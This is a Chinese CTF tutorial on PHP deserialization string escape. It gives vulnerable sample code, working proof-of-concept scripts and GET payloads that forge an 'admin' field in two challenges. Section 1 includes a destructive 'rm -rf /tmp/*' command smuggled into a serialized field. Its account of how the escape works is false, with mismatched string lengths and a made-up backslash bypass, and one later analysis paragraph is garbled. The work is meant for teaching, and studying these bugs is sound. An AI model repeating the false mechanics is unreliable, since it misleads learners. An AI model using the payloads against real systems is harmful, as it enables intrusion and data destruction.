CTF-PHP反序列化漏洞5-反序列化字符逃逸

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

1. 什么是反序列化字符逃逸

PHP反序列化漏洞是指攻击者通过构造恶意序列化数据,使得PHP的反序列化函数在反序列化时执行了恶意代码,从而导致安全漏洞。其中,反序列化字符逃逸是指攻击者在构造恶意序列化数据时,使用特殊字符来绕过PHP反序列化函数的检查,从而实现攻击的目的。

具体来说,PHP反序列化函数在反序列化时,会对序列化字符串中的特殊字符进行转义,例如将双引号转义为\”、将反斜杠转义为\等。攻击者可以利用这个特性,在构造恶意序列化数据时,使用特殊字符来绕过PHP反序列化函数的检查,从而实现攻击的目的。

下面给出一个简单的示例:

<?php
class Test {
    
    
  public $cmd;
  function __destruct() {
    
    
    if(isset($this->cmd)) {
    
    
      system($this->cmd);
    }
  }
}
$input = $_GET['data'];
$obj = unserialize($input);
?>

上述代码中,我们定义了一个Test类,其中包含一个cmd成员变量和一个__destruct()方法。在__destruct()方法中,我们判断了cmd成员变量是否被设置,如果被设置,则调用system()函数执行cmd命令。

接下来,我们使用unserialize()函数将一个序列化字符串反序列化成一个Test对象。假设攻击者构造了如下的序列化字符串:

O:4:"Test":1:{s:3:"cmd";s:10:"echo hello";}

这个序列化字符串表示一个Test对象,其中cmd成员变量的值为echo hello。在反序列化时,PHP会对序列化字符串中的特殊字符进行转义,因此我们实际上传入的字符串为:

O:4:\"Test\":1:{s:3:\"cmd\";s:10:\"echo hello\";}

这个字符串会被成功反序列化成一个Test对象,并在__destruct()方法中执行echo hello命令。但是,如果攻击者使用了反序列化字符逃逸技巧,构造了如下的序列化字符串:

O:4:"Test":1:{s:3:"cmd";s:23:"echo hello; rm -rf /tmp/*";}

这个序列化字符串中,我们在cmd成员变量的值中使用了分号和空格,这些字符在PHP中是特殊字符,会被转义。但是,攻击者使用了反序列化字符逃逸技巧,在分号和空格前加上了反斜杠,从而绕过了PHP反序列化函数的检查。
O:4:“Test”:1:{s:3:"cmd";s:28:"echo hello\;\ rm -rf /tmp/*";}

tips:让gpt 帮我们判断下是否成功逃逸
在这里插入图片描述

因此,这个字符串会被成功反序列化成一个Test对象,并在__destruct()方法中执行echo hello; rm -rf /tmp/*命令,导致系统被攻击者控制。

综上所述,反序列化字符逃逸是一种常见的安全漏洞,在使用PHP反序列化函数时需要格外注意。为了防止这种漏洞,我们应该对反序列化的输入进行严格的检查和过滤,避免恶意数据的注入。

2. CTF中的两种考点

比赛中很少直接考绕过,反而会变相考个字符串位数变化的问题

2.1 考点一字符串变多

  • 源码
<?php
include 'flag.php';
function filter($string){
    
    
 return str_replace('x','yy',$string);
}
$username=$_GET['u'];
$password="aaa";
$user=array($username,$password);
$s=serialize($user);
$r=filter($s);
echo $r;
$a= unserialize($r);
if ($a[1]==='admin'){
    
    
 echo $flag; }
highlight_file(__FILE__);
?>

题目代码分析

这段PHP代码接收一个名为u的GET参数,将其作为用户名创建一个包含用户名和密码的数组,并使用PHP的serialize函数将其序列化为字符串。然后,将这个字符串传递给名为filter的函数,该函数将字符串中的所有x替换为yy,并将替换后的字符串返回。最后,使用echo语句将替换后的字符串输出到页面上。

接着,使用PHP的unserialize函数将输出的字符串反序列化为数组,并检查该数组的第二个元素是否等于"admin"。如果是,那么将输出存储在名为$flag的变量中的flag字符串。

  • 思路
  1. 目标为password=admin,但是源码中已经设定值为aaa
    ⽂件包含了 flag然后 filter() ⽅法,会将序列化字符串中的x替换为yy,可能会导致字符串⻓度。所以希望借助字符变多,将我们password=admin传入序列化中,将password=aaa排除,反序列化时不执行。试着传⼊ u=admin 序列化为:
    构造poc获取所需字段
<?php
$a= array('a',"admin");
echo serialize($a);
?>
// 输出结果
// a:2:{i:0;s:1:"a";i:1;s:5:"admin";}
// 我们需要的字符串为 ";i:1;s:5:"admin";} 数一数长度共19。
  1. 但是我们只有⼀个参数 username 可控可以利⽤字符串逃逸复制⾃⼰想要构造的字符串
  2. 换算 x替换为yy 长度翻倍原则。所以 要加入的字段";i:1;s:5:“admin”;}长度为19,所以要在;“i:1;s:5:“admin”;}增加19个x
    xxxxxxxxxxxxxxxxxxx”;i:1;s:5:“admin”;}这样长度为38,yy替换后前方x变为38长。i:0;s:5:“admin”;变为了第二个参数的位置。}结束标志,后面原有的密码位置,不在参与反编译。验证poc如下
<?php
$user=array('xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}','aaa');
$s=serialize($user);
echo $s.'<br>';
$result = str_replace('x','yy',$s);
echo $result;
?>
// a:2:{i:0;s:38:"xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}";i:1;s:3:"aaa";}
// a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}

a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}
数一数 正合适。还可以反序列化验证更直观

<?php
$s = 'a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}';
$result = unserialize($s);
print_r($result);
?>
  
/*  
Array
(
    [0] => yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
    [1] => admin
)
*/

攻击代码分析
这段代码构造了一个包含恶意代码的数组,并使用PHP的serialize函数将其序列化为字符串。恶意代码是在用户名中的字符串中包含序列化数组的语法,即’i:1;s:5:“admin”;‘。该字符串中的"xx"将被替换为’";i:1;s:5:“admin”;}',从而生成一个恶意的序列化字符串。然后,使用echo语句将序列化字符串输出到页面上。

攻击者将生成的恶意序列化字符串插入到上一个代码示例中的GET参数u中,然后发送给服务器。当服务器接收到恶意序列化字符串时,它将被传递给filter函数进行处理。在这个函数中,所有的"x"都将被替换为"yy"。因此,恶意序列化字符串中的’i:1;s:5:“admin”;‘将变成’iyys:5:“admin”;}’。这将导致unserialize函数将恶意字符串解析为包含用户名和密码的数组,并将密码设置为"admin"。最后,如果检查密码时将其设置为"admin",则将输出flag,从而达到攻击目的。

这个例子说明了序列化是一个非常强大的工具,但在处理不受信任的用户输入时,需要格外小心。必须对用户输入进行验证和过滤,以避免受到序列化注入攻击的风险。
完美!所以payload
?u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}

2.2 考点二字符串变少

原理同上,仅是利用方式上有小部分变化,请看题目

  • 源码
<?php
error_reporting(0);
include 'flag.php';
function filter($string){
    
    
 return str_replace('sec','',$string);
}
$username=$_GET['u'];
$password=$_GET['p'];
$auth="guest";
$user=array($username,$password,$auth);
$s=serialize($user);
$r=filter($s);
$a=unserialize($r);
if($a[2]==='admin'){
    
    
 echo flag; }
highlight_file(__FILE__);
?>

代码分析

这段代码是一个基于 PHP 语言的简单的 Web 应用程序。主要功能是通过 GET 请求从用户那里获取用户名和密码,对它们进行序列化处理,然后使用自定义的 filter 函数进行过滤,最后再次反序列化,并检查用户是否具有管理员权限。

以下是代码的详细解释:
这段代码是一个基于 PHP 语言的简单的 Web 应用程序。主要功能是通过 GET 请求从用户那里获取用户名和密码,对它们进行序列化处理,然后使用自定义的 filter 函数进行过滤,最后再次反序列化,并检查用户是否具有管理员权限。

以下是代码的详细解释:

  1. 第一行禁止错误报告,这意味着在应用程序中的错误不会输出到屏幕上,这是出于安全原因。

  2. 第二行包含一个名为 flag.php 的文件,这是一个包含了敏感信息(比如说答案或密码)的文件。通常情况下,这个文件是被加密的或者被保存在安全的位置,这个例子中则没有做到这些保护措施,所以这个文件可能会受到攻击。

  3. 接下来定义了一个名为 filter 的函数,这个函数接受一个字符串作为参数,然后将其中的 ‘sec’ 进行替换成空字符串,最后返回过滤后的字符串。这个函数的目的是为了防止在序列化的过程中,将 “secret” 字符串包含在其中。因为这个字符串可能会被用来攻击应用程序。

  4. 然后通过 $_GET 获取了两个参数 up,分别代表用户名和密码。

  5. 将获取到的用户名和密码存储在一个数组 $user 中,并将该数组序列化为字符串 $s

  6. 调用自定义的 filter 函数,对序列化后的字符串进行过滤,然后将过滤后的字符串存储在变量 $r 中。

  7. 调用 PHP 的 unserialize 函数将 $r 反序列化,得到了存储在 $user 数组中的用户名、密码和权限信息。

  8. 如果反序列化后的 $user 数组的第三个元素是 ‘admin’,那么就会输出包含敏感信息的 flag.php 文件。这里使用了 === 严格相等的判断方式,确保比较的值不仅相等,而且类型也要一致。

  9. 最后使用 PHP 的 highlight_file 函数将当前 PHP 文件的源代码以 HTML 格式输出到页面上,方便调试和查看。

  • 解题思路

与上一题思路几乎一样,仅是字符这回是往少了变,以便增加个属性。
关键点在两处,能传参的两个参数的作用

  1. 第一个参数,用来减少字符,用于给把增加的第三个数组值引进来
  2. 第二个参数,分三部分,前一部分用于被第一个参数长度吃掉,防止报错;中间部分,用于伪造第二个参数;后一部分,用于闭合,构造第三个所需admin参数格式";i:2;s:5:“admin”;}。

在这里插入图片描述

  1. 构造poc
<?php
function filter($string){
    
    
 return str_replace('sec','',$string);
}
$user=array('secsecsecsecsec123','sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}','guest');
$s=serialize($user);
echo '$s='.$s.'<br>';
$r=filter($s);
echo '$r='.$r.'<br>';
$a=unserialize($r);
print_r($a);

if($a[2]==='admin'){
    
    
 echo 'Great! you have got the flag!'; }

?>

// 输出结果
/*
$s=a:3:{i:0;s:18:"secsecsecsecsec123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}
$r=a:3:{i:0;s:18:"123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}
Array
(
    [0] => 123";i:1;s:36:"sdf
    [1] => sdf
    [2] => admin
)
Great! you have got the flag!
*/
  1. 下面就开始构建payload
    ?u=secsecsecsecsec123&p=sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}
  2. 验证 完美
<?php
  function filter($string){
    
    
  return str_replace('sec','',$string);
}
// $user=array('secsecsecsecsec123','sdf','admin');
// $user=array('secsecsecsecsec123','sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}','guest');
$username='secsecsecsecsec123';
$password='sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}';
$auth="guest";
$user=array($username,$password,$auth);
$s=serialize($user);
echo '$s='.$s.'<br>';
$r=filter($s);
echo '$r='.$r.'<br>';
$a=unserialize($r);
print_r($a);

if($a[2]==='admin'){
    
    
  echo 'Great! you have got the flag!'; }

?>
  
/*
$s=a:3:{i:0;s:18:"secsecsecsecsec123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}
$r=a:3:{i:0;s:18:"123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}
Array
(
    [0] => 123";i:1;s:36:"sdf
    [1] => sdf
    [2] => admin
)
Great! you have got the flag!
*/

猜你喜欢

转载自blog.csdn.net/eason612/article/details/130525406